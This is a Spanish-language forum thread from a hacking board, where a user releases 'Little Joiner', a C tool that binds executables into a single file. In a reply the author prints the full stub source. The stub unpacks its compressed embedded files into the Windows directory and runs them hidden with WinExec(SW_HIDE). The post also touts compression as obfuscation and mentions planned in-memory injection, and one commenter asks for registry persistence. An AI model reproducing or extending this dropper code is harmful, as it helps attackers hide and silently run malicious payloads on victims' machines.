Página 1 de 1

Little Joiner 1.0 (Open Source)

Publicado: 10 May 2009, 12:52
por Hacker_Zero
Little Joiner

Bueno, pare descansar un poco de programar el Virus Metamorph me puse a programar éste joiner.

¿Qué es?

Es un Joiner programado en C capaz de unir infinitos archivos, lo de siempre :xD.

Captura

Imagen


Características
-Tamaño del stu reducido, 1.7kb.

-Comprime los archivos a juntar. Ésto quiere decir que si juntamos un archivo de 20kb con uno de 10kb más el stub de 1.7kb el tamaño del ejecutable final rondará los 10kb (Depende del tipo de archivo) Gracias a Karcrack por hablarme de éstas apis que no conocía ;)

-Dos stubs, uno que soporta icono y otro que no

-El stub sin icono realinea el pe para dejar el EOF dentro de la sección.

-Permite cambiar el icono


Cosas que se pueden mejorar

-Se puede añadir encriptación, no lo hice porque el comprimir ya se ofusca bastante, pero puede ser algo a añadir.

-El stub con icono no permite dejar los archivos dentro de la sección sinó que se quedan en el EOF. Ésto se debe a que no sé con antelación cuanto va a ocupar el archivo ya que dependerá del icono que se le añada, se podría corregir añadiendo una sección para albergar los archivos a juntar.

-Seguro tiene algunos fallos debido a que apenas lo testeé y ya estoy cansado de joiner :xD.

[Enlace externo eliminado para invitados]

[Enlace externo eliminado para invitados]

Saludos

PD: La función para cambiar el icono no es mía, pertenece a Tughack.

Re: Little Joiner 1.0 (Open Source)

Publicado: 10 May 2009, 12:56
por shark0
Zerito, gracias por compartir esta maravillosa herramienta, y también gracias por compartir el source, se que a muchos le ayudará.

Saludos!

Re: Little Joiner 1.0 (Open Source)

Publicado: 10 May 2009, 13:06
por Hacker_Zero
A que mod se le fué la olla? . Gracias, el taller si voy a continuarlo, pero no logro sacar tiempo .

Saludos

Re: Little Joiner 1.0 (Open Source)

Publicado: 10 May 2009, 13:09
por shark0
x'D Bueno pues cuando puedas lo sigues que esta muy interesante

Re: Little Joiner 1.0 (Open Source)

Publicado: 10 May 2009, 16:30
por p0is0n-123
se merece una mod aver cuando mi pongo con mi pc.

Re: Little Joiner 1.0 (Open Source)

Publicado: 10 May 2009, 18:17
por Gusan0r
Que gran aporte ahi lo estoy bajando y gracias por el source ; )

Re: Little Joiner 1.0 (Open Source)

Publicado: 11 May 2009, 02:55
por FroZenFeW
zerito te pasastes de piña

[desvio]viendo tu ubicacion ayer pase y no te vi [\desvio]

Re: Little Joiner 1.0 (Open Source)

Publicado: 11 May 2009, 04:00
por blackmaster1212
frozen de donde eres

Re: Little Joiner 1.0 (Open Source)

Publicado: 11 May 2009, 04:02
por FroZenFeW
soy colombiano pero me rio de esto
Ubicación: Entre PointerToRawData y PointerToRawData+SizeOfRawData

Re: Little Joiner 1.0 (Open Source)

Publicado: 11 May 2009, 04:16
por blackmaster1212
Lo sabia esa frase de que te pasaste de piña es de colombia jajajaa

paisado

Re: Little Joiner 1.0 (Open Source)

Publicado: 11 May 2009, 05:16
por FroZenFeW
nahh no soy paisa soy guajiro mi novia si es paisa ella me la pego xD

Re: Little Joiner 1.0 (Open Source)

Publicado: 11 May 2009, 16:59
por Hacker_Zero
Bueno modifiqué un poco el stub sin icono para dejarlo un poco más ligero, mucho mas no creo que se pueda, igual en asm pero no mucho.

Código: Seleccionar todo

#pragma optimize("gsy", on)
#include <windows.h>
 
typedef DWORD (WINAPI *_RtlDecompressBuffer)(IN ULONG CompressionFormat,OUT PVOID DestinationBuffer,IN ULONG DestinationBufferLength,
	IN PVOID SourceBuffer,IN ULONG SourceBufferLength,OUT PULONG pDestinationSize );
 
typedef VOID (WINAPI *_CopyMemory)(PVOID Destination,CONST VOID *Source,SIZE_T Length);

DWORD dwBytes;

VOID SaveFileToDisk(LPSTR nFileName,LPSTR lpFileMaped,DWORD FileSize)
{
	HANDLE hSFTD=CreateFile(nFileName,GENERIC_READ+GENERIC_WRITE,0,0,CREATE_ALWAYS,0,0);
	WriteFile(hSFTD,lpFileMaped,FileSize,&dwBytes,0);
	CloseHandle(hSFTD);
}
 
LPSTR DecompressBuffer(LPSTR lpBuffer,DWORD szBuffer,LPDWORD dwSizeOut )
{
   _RtlDecompressBuffer miRtlDecompressBuffer;
 
   LPSTR szRet=(LPSTR)GlobalAlloc(GPTR,16*szBuffer);
 
   miRtlDecompressBuffer=(_RtlDecompressBuffer)GetProcAddress((HINSTANCE)LoadLibraryA("NTDLL.DLL"),"RtlDecompressBuffer");
 
   miRtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1,szRet,16*szBuffer,lpBuffer,szBuffer,dwSizeOut);
 
   return szRet;
}
 
void main()
{
	_CopyMemory miCopyMemory=NULL;
	miCopyMemory=(_CopyMemory)GetProcAddress(GetModuleHandle("KERNEL32.DLL"),"RtlMoveMemory");
 
	DWORD szSubFile;
	LPSTR ext=(LPSTR)GlobalAlloc(GPTR,3);
	DWORD Seek=0;
	LPSTR lpFile=NULL;
 
	LPSTR AppName=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
	GetModuleFileName(0,AppName,MAX_PATH);
 
	HANDLE hFile=CreateFile(AppName,GENERIC_READ,0,0,OPEN_EXISTING,0,0);
	DWORD szFile=GetFileSize(hFile,0);
	LPSTR FileBuffer=(LPSTR)GlobalAlloc(GPTR,szFile);
	ReadFile(hFile,FileBuffer,szFile,&dwBytes,0);
 
	DWORD StubSize=0x640;
 
	LPSTR WinPath=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
	GetWindowsDirectory(WinPath,MAX_PATH);
 
	DWORD NumArchivos;
	miCopyMemory(&NumArchivos,&FileBuffer[StubSize],4);
 
	Seek=4;
	for(DWORD i=0;i<NumArchivos;i++)
	{
		//Obtenemos el peso del archivo
		miCopyMemory(&szSubFile,&FileBuffer[StubSize+Seek],4);
 
		//Obtenemos la extensión
		miCopyMemory(&ext[0],&FileBuffer[StubSize+Seek+4],3);
 
		//Leemos el archivo
		lpFile=(LPSTR)GlobalAlloc(GPTR,szSubFile);
		miCopyMemory(&lpFile[0],&FileBuffer[StubSize+Seek+7],szSubFile);
 
		//Lo descomprimimos
		DWORD szDecompressedFile;
		LPSTR lpDecompressedFile=DecompressBuffer(lpFile,szSubFile,&szDecompressedFile);
 
		//Generamos la ruta
		LPSTR Path=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
		lstrcat(Path,WinPath);
		lstrcat(Path,"\\"); //" //Ta mal geshi ¬¬
		LPSTR fName=NULL;
		for(DWORD z=0;z<i+1;z++)
		{
			lstrcat(fName,"A");
		}
		lstrcat(Path,fName);
		lstrcat(Path,".");
		lstrcat(Path,ext);
 
		//Lo guardamos en WinPath
		SaveFileToDisk(Path,lpDecompressedFile,szDecompressedFile);
 
		LPSTR Archivo=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
		lstrcat(Archivo,"cmd /d /c \"");
		lstrcat(Archivo,WinPath);
		lstrcat(Archivo,"\\"); //" //Ta mal geshi ¬¬
		lstrcat(Archivo,fName);
		lstrcat(Archivo,".");
		lstrcat(Archivo,ext);
		lstrcat(Archivo,"\"");
 
		WinExec(Archivo,SW_HIDE);
 
		Seek=Seek+11+szSubFile;
 
	}
	CloseHandle(hFile);
}
No importa la SHELL32.DLL y pesa 0.25kb menos o así :xD. Después del 17 seguiré con el joiner, haré que inyecte los exes en memoria, una sección para los datos y algo más.

Saludos

Re: Little Joiner 1.0 (Open Source)

Publicado: 11 May 2009, 19:56
por sod
como siempre increibles aportes
Saludos

Re: Little Joiner 1.0 (Open Source)

Publicado: 11 May 2009, 22:52
por blackmaster1212
FroZenFeW escribió:nahh no soy paisa soy guajiro mi novia si es paisa ella me la pego xD

frozennn eres guajiro man??? de verdad????

Re: Little Joiner 1.0 (Open Source)

Publicado: 15 May 2009, 06:08
por figarito
Estaría bueno... Para futuras versiones que podamos elegir que se agregue al registro...
Te Felicito, muy bueno lo tuyo